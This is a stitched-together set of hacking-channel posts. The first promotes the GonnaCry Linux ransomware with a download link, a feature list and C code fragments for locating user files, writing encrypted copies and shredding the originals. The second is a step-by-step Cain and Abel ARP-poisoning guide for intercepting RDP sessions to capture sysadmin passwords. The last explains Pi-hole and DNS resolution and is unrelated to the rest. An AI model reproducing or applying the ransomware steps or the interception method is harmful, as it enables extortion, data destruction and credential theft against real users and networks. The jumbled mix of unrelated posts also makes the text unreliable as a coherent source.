🦑2020 ransomware :

> A ransomware is a form of malware that prevent legitimate users from accessing their device or data and asks for a payment in exchange for the stolen functionality. They have been used for mass extortion in various forms, but the most successful seem to be encrypting ransomware: most of the user data are encrypted and the key can be retrieved with a payment to the attacker. To be widely successful a ransomware must fulfill three properties:



🦑FEATURES

>encrypt all user files with AES-256-CBC.
>Random AES key and IV for each file.
>Works even without internet connection.
>Communication with the server to decrypt Client-private-key.
>encrypt AES key with client-public-key RSA-2048.
>encrypt client-private-key with RSA-2048 server-public-key.
>Change computer wallpaper -> Gnome, LXDE, KDE, XFCE.
>Decryptor that communicate to server to send keys.
>python webserver
>Daemon
>Kill databases

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣DOWNLOAD OR CLONE https://github.com/tarcisio-marinho/GonnaCry

2️⃣go dir then

3️⃣First the ransomware needs to know some path’s, such as the desktop directory path, trash, home, etc…
To get the user and home directory i will use some glibc librarys from unistd.h 12

char * home = get_home_enviroment(); // /home/USER/
char * desktop = get_desktop_enviroment(home); // /home/USER/Desktop/
char * username = get_username(); USERNAME
char * trash = get_trash_path(home); // /home/USER/.local/share/Trash/
char * media = get_media_path(username);
With the paths we can enter in each folder, find files inside it, create new files, whatever we want.

> First part - Finding the files

4️⃣For each file in the list, he will try to open and create a new file.

old = fopen(files->info[2], "rb");
if(old != NULL){
new_name = (char*) malloc(sizeof(char) * (strlen(files->info[2]) + 11));
strcpy(new_name, files->info[2]);
strcat(new_name, ".GNNCRY");
new = fopen(new_name, "wb");

5️⃣Generate a unique random key and IV for each file and call encrypt function(I let you guess what it does :slight_smile:).

6️⃣After the encryption, now we need to shred the old file, to never come back.

7️⃣Now the old file bytes are overwritten with zeros, and then deleted.
Even with some recovery tool software, the original file is lost.

goto Second part - Start Encryption; //This repeats for each file on the linked list.

Third part - create Desktop file: enc_files.gc

This file will help the decryptor to get the path, key and iv used to encrypt each file.
First field is the random Key, then the random IV and the file path.

🦑Enable RDP Server on a One System

1️⃣First, we need a system with RDP enabled. If you are using this in your lab, enable one Windows machine's RDP server. Go to Control Panel then System and Security. Below the System section, you will see "Allow remote access". Click there.


2️⃣Next, click on the "Allow Remote Assistance connections to this computer" and click "Apply."


3️⃣Step 2Install Cain on Windows System

> You should have Cain and Abel installed on your attack system. I have it on my Windows 7 system that I will be using to attack RDP on another Windows 7 system. In this case, we will not be using BackTrack as Cain and Abel is one of the few hacking tools developed originally for Windows and has never been ported to Linux.

4️⃣Cain and Abel, besides being a great password cracking tool (albeit a bit slow) is probably the best MiTM tool on the market—and it is free!

5️⃣Step 3Use ARP Scan on Systems with Cain
Now that we have Cain and Abel running on our attack system and RDP server enabled on another, we need to do an ARP scan. In this way, we will find all the systems on the network by sending out ARP requests and the systems on the network will respond with their IP address and MAC addresses. Choose a range that is appropriate for your target network.

6️⃣Step 4ARP Poison
Next, now that know all the machines, IP addresses and MAC addresses on the network from the ARP scan, we are in a position to be able to poison the ARP. We poison the ARP so that our attack system sits between the RDP server and the RDP client. In this way, all of either machine's traffic must travel through our attack machine.

7️⃣Click on the Sniffer button on Cain, then select the Sniffer tab, then select the Hosts tab at the bottom, then click on the blue + on the top menu, select the Radio button, select the target IP range, and click OK.

8️⃣Step 5Choose the Server and Client You Want to Poison
Select the APR button at the bottom next to the hosts tab you used above, press the blue + button, select the targets, and press OK.

9️⃣Step 6Connect RDP Client to the RDP Server
Now, we wait for the RDP client to connect to the RDP server. This is likely to happen when an individual calls tech support and tech support needs to configure and demonstrate something on their machine. As you might guess, this requires some patience. When they do, we can then intercept its traffic.

🔟 Step 7Intercept Traffic
With our Cain and Abel MiTM attack in place, all of the traffic between the RDP server and the RDP client will pass through our attack system.


1️⃣1️⃣Cain and Abel is now capturing the entire session and saving it into a file named in the far right column. We can now right click on that filename and choose View to open the decrypted file in Notepad.


1️⃣2️⃣Step 8Search for Traffic
Now that all the traffic on the RDP connect is traveling through our attack system, we can search for traffic of interest to us.

1️⃣3️⃣Ideally, we want the sysadmin password for RDP. If we can find the sysadmin password for RDP, we will likely be able to use RDP on any of the network's machines as usually the sysadmin will set up RDP with the same password on every system for convenience.

1️⃣4️⃣Even better, many sysadmin use the same password to remote into client machines as they use on their system and other accounts. This means that when we capture this password we may own the entire domain and network!

1️⃣5️⃣To find any keys pressed in the hexadecimal file capture, use the Find feature in Notepad to search for "key pressed". This will find each of the keystrokes, one-by-one, of any keystrokes entered by the sysadmin including their password. This is tedious work, but you will be rewarded with a pot-of-gold for your patience!

🦑2020 UPDATE The Pi-hole is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.
-A sinkhole is a standard DNS server that has been configured to hand out non-routable addresses for all domains in the sinkhole, so that every computer that uses it will fail to get access to the real site.[2] The higher up the DNS resolution chain the sinkhole is, the more requests it will block as it will supply answers to a greater number of lower NS servers that in turn will serve a greater number of clients. Some of the larger botnets have been made unusable by TLD sinkholes that span the entire Internet.[3] DNS Sinkholes are effective at detecting and blocking malicious traffic, and are used to combat bots and other unwanted traffic.


🦑 F E T U R E S :

> Easy-to-install: our versatile installer walks you through the process, and takes less than ten minutes

🦑How does the domain name server know this information?


(1) Cache of domain names

The domain name server that everyone usually uses is called "recursive domain name server" in technical terms. "Recursive server" is for ordinary netizens. The server mentioned in the introduction of "domain name resolution" is the "recursive server".

There is usually a cache of DNS records inside the "recursive server"-this cache is to improve query efficiency. When a computer initiates a domain name query to the recursive server, the recursive server first checks whether there is a record of the domain name in its cache, and if there is, it directly replies the record to the querying computer.

What if the domain name that the other party wants to query is not found? At this time, cache synchronization is necessary.

(2) Cache synchronization

Let's take NetEase's domain name as an example to talk about the processing flow of this situation.

1. The other party queries the domain name 3g.163.com, and the "recursive server" finds that there is no

2. The "recursive server" will first go to the "root domain name server" for help. The "root server" will tell the "recursive server" that this domain name belongs to the branch of com, and you go to the "authoritative server" of the domain name com. The IP address of this authoritative server is xxx.

3. Then the "recursive server" finds the "authoritative server for the com domain name" according to the xxx address it got. "The authoritative server of the com domain name" tells it: you should find the "authoritative server of the 163.com domain name", the IP address of this authoritative server is yyy

4. Then the "recursive server" went to the "authoritative server for the 163.com domain name" again. At this time, "the authoritative server of the 163.com domain name" will tell it what the IP address of the 3g.163.com domain name is.

Did you guys see it? The whole process is like "kicking a ball", and the efficiency is very low. So I mentioned earlier that the "recursive domain name server" must have a cache to optimize efficiency (no need to "kick the ball" for every query).

(3) Synchronization cycle

After talking about the "synchronization of domain names", let me mention the "synchronization cycle" by the way.

Because the domain name information on the Internet is likely to change. For example, a new domain name is added, an old domain name is cancelled, or the IP address corresponding to a certain domain name is changed. Therefore, in the cache retained on the "recursive server", each domain name record has a life cycle (may be a few minutes or a few hours). If the life cycle of a record has passed, it will be deleted and then resynchronized.
